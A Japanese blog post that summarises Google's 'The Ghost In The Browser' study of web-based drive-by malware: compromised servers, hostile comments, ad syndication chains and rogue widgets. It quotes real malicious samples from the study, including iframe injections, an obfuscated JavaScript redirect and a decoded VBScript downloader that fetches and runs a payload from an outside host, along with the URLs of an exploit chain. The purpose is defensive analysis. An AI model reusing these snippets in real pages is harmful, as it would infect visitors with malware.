Google論文に見るマルウェアの傾向と対策
GoogleはWebベースのマルウェアの感染手口に関する論文"The Ghost In The Browser"を発表した*1。
数十億ページを対象とした網羅的な解析を行ったGoogleの研究は一読してみるとなかなか興味深いので概要をまとめておきたい。
インターネットは我々の生活に不可欠なツールとなっており、オンラインバンキングや医療データ、パスワードや個人的な通信データなど極めてセンシティブな情報も扱うことが多い。しかし、それらの情報はトロイの木馬やアドウェアに代表されるマルウェアによって簡単に第三者に漏洩してしまう危険がある。Webサーバ、ネットワークエンティティ、ユーザクライアントから構成されるインターネットシステムにおいて最も脆弱で無防備なのがユーザクライアントであり、パッチが当てられないまま既知のセキュリティホールが解放された状態のまま放置される場合が非常に多い。
攻撃者は既知のセキュリティホールを用いて、マルウェアのバイナリをクライアントにインストールさせる(drive-by-downloadと呼ばれる)。一端感染するとマルウェアはユーザのPCを監視下に置き、銀行の暗証番号などを盗んだり、スパムメールを送信する踏み台にしたり、もっと別のマルウェアをインストールさせたりする。こうしたマルウェアは、適切なセキュリティ対策がなされていなければ、Webページを一度表示させるだけでクライアントPCにインストールされる可能性がある。Googleは数十億ページに上るWebページのなかから、マルウェアをインストールさせるような危険なページを抽出し、それらを分類している。
危険なページの抽出方法
Googleは自らが持つWebインデックスのなかから、攻撃に利用される事が多いiframeタグを用いたリダイレクトを含むページなど潜在的に危険な450万ページを機械的に抽出、それらをVirtual Machine上のInternet Explorerで動作させることで実際にマルウェアのインストール動作を行うかどうかを確認した。その結果10%に当たる45万ページにおいて実際にマルウェアのインストールが行われることが確認された。さらに70万ページにおいて不振な挙動を示したという。たとえば潜在的に危険なページに対しては、Googleの検索結果において「このサイトにアクセスするとマルウェアに感染する危険性があります」などの警告を出すことも出来るだろう。
マルウェア配布手口
通常Webページはページのオーナーによって作成されるが、広告など第三者によって提供されるものが含まれる場合が増えてきている。これらは通常JavascriptやiframeによってWebページに埋め込まれるわけだが、これらの外部コンポーネントはWebオーナーのコントロール外であり、マルウェアの格好の感染源となっている。またWebページへのコメントなど、不特定多数による書き込みも攻撃に利用される場合がある。最近ではサードパーティのウィジットをブログ内に埋め込むことも多いが、これらのウィジットが悪意を持って作成されている場合も確認されている。
Webサーバのセキュリティが破られる場合
多くのWebページをホストするWebサーバが何らかのセキュリティホールを攻撃されて、悪意あるユーザに乗っ取られた場合、そのサーバ内のWebページはすべてマルウェアの配布ベクタに変容することとなる。次の例はInvision Power Boardシステム内の全ページに自動的に挿入されるcopyright表記にマルウェアインストールのトリガが埋め込まれていた例である。
<!-- Copyright Information --> <div align='center' class='copyright'>Powered by <a href="http://www.invisionboard.com">Invision Power Board</a>(U) v1.3.1 Final © 2003 <a href='http://www.invisionpower.com'>IPS, Inc.</a></div> </div> <iframe src='http://wsfgfdgrtyhgfd.net/adv/193/new.php'></iframe> <iframe src='http://wsfgfdgrtyhgfd.net/adv/new.php?adv=193'></iframe>
2つのiframeタグはこのcopyright表記がなされたページにアクセスしたすべてのユーザをマルウェア配布サイトにアクセスさせ、マルウェアのインストールを試みる。この例において誘導先URLは2006年10月にはfdghewrtewrtyrew.bizだったが、11月にはwsfgfdgrtyhgfd.net、12月にはstatrafongon.bizに変化していた。これはマルウェア配布サイトの生存期間を表していると考えられるが、最終的にこのページにアクセスしたGoogleのテスト環境は50ものマルウェアに感染したという。
ユーザコメントに悪意あるコードが埋め込まれる場合
通常、外部ユーザが書き込めるコメントはHTMLタグが利用できない場合が多いが、なかにはリンクなどいくつかのタグを許容しているシステムが存在する。コメントのスクリーニングが完全になされていれば問題はないが、それが不完全である場合、iframeタグやscriptタグを利用されてマルウェア配布サイトに誘導される場合がある。次の例はある投票サイトのコメント欄に記載された悪意あるコードの例である。このサイトでは一部のHTMLタグしか利用できないように制限していると主張していたが、次のコメントに挿入されたコードは機能していた。
<SCRIPT language=JavaScript> function otqzyu(nemz)juyu="lo";sdfwe78="catio"; kjj="n.r";vj20=2;uyty="eplac";iuiuh8889="e";vbb25="('"; awq27="";sftfttft=4;fghdh="'ht";ji87gkol="tp:/"; polkiuu="/vi";jbhj89="deo";jhbhi87="zf";hgdxgf="re"; jkhuift="e.c";jygyhg="om'";dh4=eval(fghdh+ji87gkol+ polkiuu+jbhj89+jhbhi87+hgdxgf+jkhuift+jygyhg);je15="')"; if (vj20+sftfttft==6) eval(juyu+sdfwe78+kjj+ uyty+ iuiuh8889+vbb25+awq27+dh4+je15); otqzyu();// </SCRIPT>
このコードは制限を回避するためにわかりにくく書かれているが、整理する(属性値のみを抜き出していく)と次の様になる。
location.replace('http://videozfree.com')
このコメントを含む投票ページにアクセスしたブラウザは自動的にvideozfree.comにリダイレクトされ、マルウェアの攻撃にさらされることとなる。
悪意ある広告が配信される場合
ページ中に広告を配信する業者は数多くがあるが、なかには取得した広告スペースを他の広告業者に委託する業者も存在する。多くの場合こうした子請け、孫請けはWebオーナーの知らない間に行われ、実際に表示される広告は請負元の広告業者とは全く別の業者によって提供されている場合がある。Googleが見つけた極端な例は次のような多段構造をなしていた。
- あるビデオ共有サイトは大手米国広告業者のバナー広告を貼っていた。
- その広告は別の大手米国広告業者から広告を取得するJavascriptを生成する1行のJavascriptによって配信されていた。
- 生成されたJavascriptは地理的な位置に応じた広告を出すより小さな米国の広告業者を指す別のJavascriptを生成していた。
- 最終的にこの広告業者が生成した広告のHTMLはロシアの広告業者を指すiframeを含んでいた。
- このページにアクセスしたユーザはiframe内のLocationヘッダによってxx.xx.xx.xx/seijs/という形式ののIPアドレスにリダイレクトされるようになっていた。
- このIPアドレスではマルウェアをインストールさせる暗号化されたJavascriptを出力するようになっていた。
このように、Web管理者のあずかり知らぬところで、そのページにアクセスしたクライアントにマルウェアがインストールされるようになっていたのである。おそらく請負元の広告業者もこのことに気がついていないと考えられるが、本来は請負元の責任で、このようなケースが発生しないように確実にチェックを行う必要がある。
悪意あるサードパーティ製ウィジットを利用する場合
ウィジットは外部Javascriptへのリンク埋め込みやiframeによってサイト内に挿入されるが、典型的なウィジットとしてはアクセスカウンタが挙げられる。たとえばアクセスカウンタをサイトに導入するには次のようなコードを自分のページ内に挿入することとなる。
<!-- Begin Stat Basic code --> <script language="JavaScript" src="http://m1.stat.xx/basic.js"> </script><script language="JavaScript"> <!-- statbasic("ST8BiCCLfUdmAHKtah3InbhtwoWA", 0); // --> </script> <noscript> <a href="http://v1.stat.xx/stats?ST8BidmAHKthtwoWA"> <img src="http://m1.stat.xx/n?id=ST8BidmAHKthtwoWA" border="0" nosave width="18" height="18"></a></noscript> <!-- End Stat Basic code -->
さて、このウィジットは2006年のある時点までは真面目にアクセスカウンタとしての機能を果たしていた。ところが、2006年のある時期にこのウィジットは、カウンタにリンクされたすべてのユーザに対して攻撃を開始した。この例では、スクリプトはまずShockwave Flashなどの存在を検知し、次のようなJavascriptをメインページに出力しだしたのである。
d.write("<scr"+"ipt language=’JavaScript’ type=’text/javascript’ src=’http://m1.stats4u.yy/md.js?country=us&id="+ id + "&_t="+(new Date()).getTime()+"’></scr"+"ipt>")
このコードは最終的には攻撃コードへと変容する一連のダウンロードをトリガした。
http://expl.info/cgi-bin/ie0606.cgi?homepage
http://expl.info/demo.php
http://expl.info/cgi-bin/ie0606.cgi?type=MS03-11&SP1
http://expl.info/ms0311.jar
http://expl.info/cgi-bin/ie0606.cgi?exploit=MS03-11
http://dist.info/f94mslrfum67dh/winus.exe
この一連のURLはMicosoft Security Bulletin MS03-011として知られるセキュリティホールを狙ったものであり、アクセスしたクライアントにマルウェアのインストールを試みるものであった。
驚くべき事に、このアクセスカウンタは実に4年以上にわたり誠実にアクセス解析サービスを提供してきており、ある日突然すべての訪問者に牙をむいたのである。これは完全に防ぐことは出来ないが、信用できるサイトのウィジットしか利用しないといった対策を取るしかないだろう。
マルウェア感染手口
NATやファイアウォールの普及により、一昔前に見られたように外部から不正侵入して、不正なプログラムを動作させることは困難になってきた。しかし、ユーザPCローカルで起動しているブラウザなどのソフトウェアは、それらのNATやファイアウォールを超えて外部のサーバと接続することが可能であるため、攻撃者はユーザを何とかしてマルウェアをインストールさせるサーバにおびき出そうと釣り糸を垂らしている。特にWebブラウザは強力なスクリプトをサポートしており、Webサーバーは通常の手順でユーザ環境で利用可能なスクリプトの種別を判別できる。攻撃者はその情報を元に、ユーザ環境下で動作することができるマルウェアを何とかして送り込もうとする。典型的な方法はよく知られたソフトウェアの脆弱性を利用する方法だが、なかにはユーザを騙してユーザ自らにマルウェアをインストールさせる場合もある。
ソフトウェアの脆弱性を突く場合
もっとも一般的な方法はMicrosoftのData Access Componentsの脆弱性を利用する方法である。次の例ではマルウェアの実行ファイルを自動的にダウンロードさせて実行させるのに、この脆弱性を利用している。
- Webページ中のiframeタグを通して悪意あるコードがブラウザに配信される。
- iframe中には通常安全でないActiveXオブジェクトのインスタンスを作成するJavascriptが含まれている。
- Javascriptはマルウェアの実行ファイルをダウンロードするためにXMLHTTPリクエストを生成する。
- Adodb.streamがダウンロードされた実行ファイルをディスク上に保存するために利用される。
- Shell.Applicationが保存された実行ファイルを実行するために利用される。
たった20行のJavascriptが上記の手順を再現し、マルウェアのインストールを完遂させる。これらの手順は多くの場合マルウェア作者によって注意深く隠蔽される。
次に有名な例はMicrosoftのWebViewFolderIconの脆弱性を利用する手口である。ここでは、heap sprayingと呼ばれるテクニックを利用する。heap sprayingではヒープを大量のJavascriptコードで埋める。それぞれのJavascriptはマルウェアをダウンロードし実行させるx86命令を含んでおり、ヒープをあふれさせることでメモリ上にx86命令を展開、プログラムを実行させる。
これらの2つの手法は最も一般的な手法ではあるが、他にも多くの方法がある。最近の手口は巧妙化しており、まずJavascriptを介してユーザがInternetExplorerを利用しているのかFirefoxなのか確認し、JVMのバージョンと、当てられているセキュリティパッチをチェック、これらの情報から攻撃に最適な手法を選択する場合も確認されている。
ユーザを騙す場合
最も簡単なのはユーザ自らマルウェアをダウンロードし、インストールしてくれるように促すことである。確認された例では、ポルノムービーのサムネイルを表示し、それらをクリックするとWindows Media Playerに似たプラグインがロードされる。そして「Windows Media Playerは指定されたビデオファイルを再生できません。再生に必要なActiveX Objectをダウンロードするためにはここをクリックしてください」というメッセージを出す。ユーザが騙されてクリックするとマルウェアがダウンロードされ、インストールされるという仕組みだ。
マルウェアの傾向
最近ではウィルス対策ソフトやスパイウェア対策ソフトが普及している。これらからの検知を免れるためにマルウェアは幾重もの偽装工作が施される。次は3階層に渡って隠蔽されたJavascriptの例である。この1階層目のquoteされたJavascriptはunquoteされWebページに再度挿入される。
document.write(unescape("%3CHEAD%3E%0D%0A%3CSCRIPT%20 LANGUAGE%3D%22Javascript%22%3E%0D%0A%3C%21--%0D%0A /*%20criptografado%20pelo%20Fal%20-%20Deboa%E7%E3o ... %3C/BODY%3E%0D%0A%3C/HTML%3E%0D%0A")); //--> </SCRIPT>
挿入されたJavascriptは別のエスケープされたJavascriptコードを含む。
<SCRIPT LANGUAGE="Javascript"> <!-- /* criptografado pelo Fal - [...] document.write(unescape("%0D%0A%3Cscript%20language%3D %22VBScript%22%3E%0D%0A%0D%0A%20%20%20%20on%20error%20 resume%20next%0D%0A%0D%0A%20%20%20%20%0D%0A%0D%0A%20%20 ... D%0A%0D%0A%20%20%20%20%3C/script%3E%0D%0A%3C/html%3E")); //--> </SCRIPT>
これを解くと実行時にマルウェアをダウンロードするVisual Basic Scriptが現れる。
<script language="VBScript"> on error resume next dl = "http://foto02122006.xxx.ru/foto.scr" Set df = document.createElement("object") df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" str="Microsoft.XMLHTTP" Set x = df.CreateObject(str,"") ... S.close set Q = df.createobject("Shell.Application","") Q.ShellExecute fname1,"","","open",0 </script>
こうした偽装は、ウィルス対策ソフトには大変効果的で簡単に監視の目をすり抜けてしまう。残念ながらこうした手法は、データの可読性を低くする目的で真っ当なJavascriptにおいても多用されており、Javascriptコードが偽装されているからと言って直ちに悪意のあるコードであるとは言えない。
まとめ
さらにGoogleの論文では、発見されたマルウェアのトロイ、アドウェア、その他のタイプ毎の数、それぞれの配布サイト数のデータを示し、単一のマルウェアが複数のサイト、URLからリダイレクトされているデータを示している。なかには412ものドメインからリンクされていたopen-for-instant-access-now.exeというマルウェアもあり、これは3,200もの異なるURLからリンクされていた。このように少数の配布元サイトに多くのサイトからリダイレクトさせる配布方法は、マルウェアを入れ替える際に一つだけ入れ替えれば済むという利点があるが、配布元サイトが潰されると多くのリダイレクトが無駄になるという欠点を抱えている。一方で、マルウェアはウィルス対策ソフトのパタンファイルを回避するために頻繁にバージョンアップを繰り返しており、なかには1時間に1度のペースで書き換わるようなマルウェアも確認されている。まさにいたちごっこだと言える。
マルウェアの偽装工作やバージョンアップ頻度を見るかぎり、ウィルス対策ソフトを全面的に信用することは出来ないようだ。一方で、大部分のマルウェアは既知のセキュリティホールを利用するため、OSやブラウザのセキュリティパッチをこまめに当てて常に最新の状態を保つ事が有効である。また、Googleが今回の研究成果に基づいて、検索結果の表示時にマルウェア感染の危険性を警告したり、そもそも検索結果から除外するような対策を行えばマルウェアの被害はずっと少なくなるだろう。一方でWebページオーナーに関しては、出所が信用できないウィジットや広告を利用しないなどの対策が必要となりそうだ。
*1:論文タイトル"The Ghost In The Browser"は士郎正宗の攻殻機動隊ではなく、Arthur Koestlerの"The Ghost in the Machine"(邦題:機械の中の幽霊 (ちくま学芸文庫))から来ている。ちなみに同様のオマージュはV.S. Ramachandranの"Phantoms in the Brain"(邦題:脳のなかの幽霊 (角川21世紀叢書))にも見られる。脳のなかの幽霊 (角川21世紀叢書)は人の意識がどのように成り立っているかについて多くの示唆を与えてくれる名書であり、未読の人がいれば強く一読をおすすめしたい。